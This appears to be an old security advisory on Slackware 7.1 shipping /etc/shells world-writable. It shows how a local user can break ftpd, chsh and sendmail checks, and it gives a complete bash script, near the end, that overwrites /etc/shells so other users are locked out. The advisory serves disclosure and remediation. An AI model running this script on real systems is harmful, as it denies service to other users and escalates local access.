COMMAND
/etc/shells
SYSTEMS AFFECTED
Linux Slackware 7.1 default installation
PROBLEM
Following is based on a Security Advisory #5 by tHE rECIdjVO of
Packet Knights. /etc/shells installed with world-writable perms.
Non-privileged users can create DoS to other users or increase
their access.
There is an error during the default installation of Linux
Slackware 7.1 (tested only for i386 version). When installing
files in /etc, /etc/shells has world-writable attributes
(-rw-rw-rw-), allowing a non privileged user with login
capabilities to misconfigurate the entire system.
This can seem a little bug, but impacts can be very dangerous for
the system integrity. The main problem is that changing data
contained in /etc/shells modifies the behaviour of the glibc call
getusershell(3), that is often used by programs to authenticate a
valid account comparing the shell field in /etc/passwd with shells
listed in /etc/shells. This can cause a denial of service against
other users or gaining higher privileges if attacker has
restrictions due to his login shell.
[recidjvo@pkcrew:~]$ ls -l /etc/shells | cut -f1 -d' '
-rw-rw-rw-
In the following examples recidjvo has a valid shell in
/etc/shells, cyrax doesn't.
1. ftpd
=======
One of the conditions that must be satisfied to successfully login
in ftp mode is that the user must have a valid shell (anonymous
ftp doesn't do this check). This would mean that we can prevent
any user (except user ftp) to log into the ftp server (or let us
in if we couldn't).
[recidjvo@pkcrew:~]$ ftp localhost
Connected to localhost.
220 FTP server (slackware.pkcrew.org) ready.
Name (localhost:recidjvo): cyrax
331 Password required for cyrax.
Password:
530 Login incorrect.
Login failed.
[recidjvo@pkcrew:~]$
(in syslogd output)
pkcrew ftpd[158]: connect from 127.0.0.1
pkcrew ftpd[158]: FTP LOGIN REFUSED (shell not in /etc/shells)
FROM localhost [127.0.0.1], cyrax
2. chsh
=======
chsh(1) is an utility to change users default login shell. If
you're root, you can do anything you want, as usual; but if you're
a simple user, you can only change your login shell by chsh
only if your shell in the /etc/passwd matches a shell in
/etc/shells.
[cyrax@pkcrew:~]$ chsh
You may not change the shell for cyrax.
[cyrax@pkcrew:~]$
(in syslogd output)
pkcrew chsh[174]: can't change shell for `cyrax'
3. sendmail
===========
This is not always a complete denial of services, but we can
deny the executions of user-defined commands in the ~/.forward
files, and read informations about user mail attitudes. If a
user has a program in his .forward, he will receive mails no
more. Sendmail checks if the destination user has a valid login
shell in /etc/shells before allowing execution of commands in
.forward, as shown below.
[recidjvo@pkcrew:~]$ mail cyrax@pkcrew.org -s '/etc/shells bug'
Have fun :)
t.R.
.
Cc:
/home/cyrax/.forward: line 1: | mailparser... User cyrax@pkcrew.org
doesn't have a valid shell for mailing to programs
/home/recidjvo/dead.letter... Saved message in
/home/recidjvo/dead.letter
[recidjvo@pkcrew:~]$
4. Others
=========
It was found that other programs that can be altered changing
/etc/shells (e.g.: rpc.yppasswdd, gdmlogin, su -from source tree-)
Check out any program that uses getusershell(3) call to
authenticate actions.
Script:
#! /bin/bash
######################################################################
# #
# ShellsTrunz - /etc/shells ftpd and chsh denial of services #
# #
# by tHE rECIdjVO - recidjvo@pkcrew.org #
# Member of the Packet Knights #
# http://www.pkcrew.org/ #
# #
######################################################################
SHELLS_FILE=/etc/shells
PASSWD_FILE=/etc/passwd
NEW_SHELL=/tmp/bash
SHELLS_BACKUP=/tmp/.shells.bak
echo -e "ShellsTrunz - /etc/shells ftpd and chsh local denial of services"
echo -e "by tHE rECIdjVO - recidjvo@pkcrew.org\n"
echo -ne "-/\- Checking if $SHELLS_FILE is writable... "
if [ ! -w $SHELLS_FILE ]; then
echo -e "no.\n-/\- ERROR: $SHELLS_FILE is not writable :("
echo -e "-/\- Exiting."
exit
fi;
CP=`which cp`
CHSH=`which chsh`
USERNAME=`whoami`
OLD_SHELL=`grep $USERNAME $PASSWD_FILE | cut -d: -f7`
echo -e "yes.\n-/\- Set USERNAME to $USERNAME"
echo -e "-/\- Set OLD_SHELL to $OLD_SHELL\n"
echo -ne "-/\- Creating backup in $SHELLS_BACKUP... "
$CP -p $SHELLS_FILE $SHELLS_BACKUP
echo -ne "done.\n-/\- Coping $OLD_SHELL in $NEW_SHELL... "
$CP -p $OLD_SHELL $NEW_SHELL
echo -ne "done.\n-/\- Adding new shell in $SHELLS_FILE... "
echo -e "$NEW_SHELL" >> $SHELLS_FILE
echo -e "done.\n-/\- Changing your default shell to let you use ftpd and chsh. "
$CHSH $USERNAME -s $NEW_SHELL
echo -ne "-/\- Remove other shells from $SHELLS_FILE... "
echo -e "$NEW_SHELL" > $SHELLS_FILE
echo -e "done.\n"
echo -e "Now only you, root and God can use ftpd and chsh :)"
exit
SOLUTION
If you're root, chmod 644 /etc/shells will resolve the problem.
If you're a simple user and you're not in love with root, check
your shell to be always in /etc/shells.
This bug seems to be fixed in the slackware-current branch. This
was in fact the very first fix that went in to Slackware-current,
almost 1 year ago.